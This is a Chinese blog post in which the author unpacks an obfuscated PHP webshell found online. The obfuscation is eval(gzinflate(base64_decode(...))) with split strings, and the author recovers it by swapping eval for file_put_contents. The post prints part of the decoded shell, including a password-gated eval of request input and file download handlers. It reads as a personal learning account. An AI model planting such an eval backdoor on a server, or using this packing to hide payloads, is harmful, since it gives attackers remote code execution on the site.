记一次php webshell破解的经历

由于学习需要最近注册了一个国外的php空间 鉴于自带php管理系统体验太差 想找一个靠谱的webshell来代替 经过几分钟的搜索 终于在网上找到了一个界面和功能都很不错的php webshell

如图:技术分享

当我想再加上自己diy的几个功能时 打开代码一看:

技术分享

竟然是乱码! 于是。。心中闪过了一些邪恶的想法。。破解它!

首先 我注意到了base64_encode这个函数,于是 写了一个<?php echo base64_decode($str)?>来讲代码显示出来 结果出现了下面的一幕:

技术分享

我尼玛 比刚才还乱。

又回头仔细看了看代码 发现主要解释加密的代码部分是这样写的:

e'.'va'.'l(gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'7L35dxzXfSf6......
加密部分采用了base64编码 但是我忽略了gzinflat()函数!代码是先将加密部分解码 然后再解压缩来执行的!

将eval改成echo 果然:技术分享

由于php在输出网页时还会自己添加一些标签影响到代码的提取 因此我将echo改为了file_put_contents()

file_put_contents("shell.php",gz'.'inf'.'lat'.'e(bas'.'e64_'.'deco'.'de(\'
大功告成!

ob_start();
define('myaddress',$_SERVER['SCRIPT_FILENAME']);
define('envlpass',$password);
define('shellname',$shellname);
define('myurl',$myurl);
if(@get_magic_quotes_gpc()){
	foreach($_POST as $k => $v) $_POST[$k] = stripslashes($v);
	foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v);
}
if(isset($_REQUEST[envlpass])){
hmlogin(2);
@eval($_REQUEST[envlpass]);
exit;}
if($_COOKIE['envlpass'] != md5(envlpass)){
	if($_POST['envlpass']){
		if($_POST['envlpass'] == envlpass){
			setcookie('envlpass',md5($_POST['envlpass']));
			hmlogin();
		}else{
			echo '<CENTER>用户或密码错误</CENTER>';
		}
	}
	islogin($shellname,$myurl);
	exit;
}
/*---End Login---*/
if(isset($_GET['down'])) do_down($_GET['down']);
if(isset($_GET['pack'])){
	$dir = do_show($_GET['pack']);
	$zip = new eanver($dir);
	$out = $zip->out;
	do_download($out,"eanver.tar.gz");................

总结:①虽然这次只是个简单的函数替换破解 但是恭喜自己走出了重要的一步

            ②这次破解充分证明了php代码的不易加密是一个很大的弊端 它造就了php程序的开放,也造成了众多的侵权问题。

            ③不得不承认 作者对php了解的很透彻 代码写得特别棒 有很多很多值得我学习的地方

            ④实践比理论重要的多。


郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。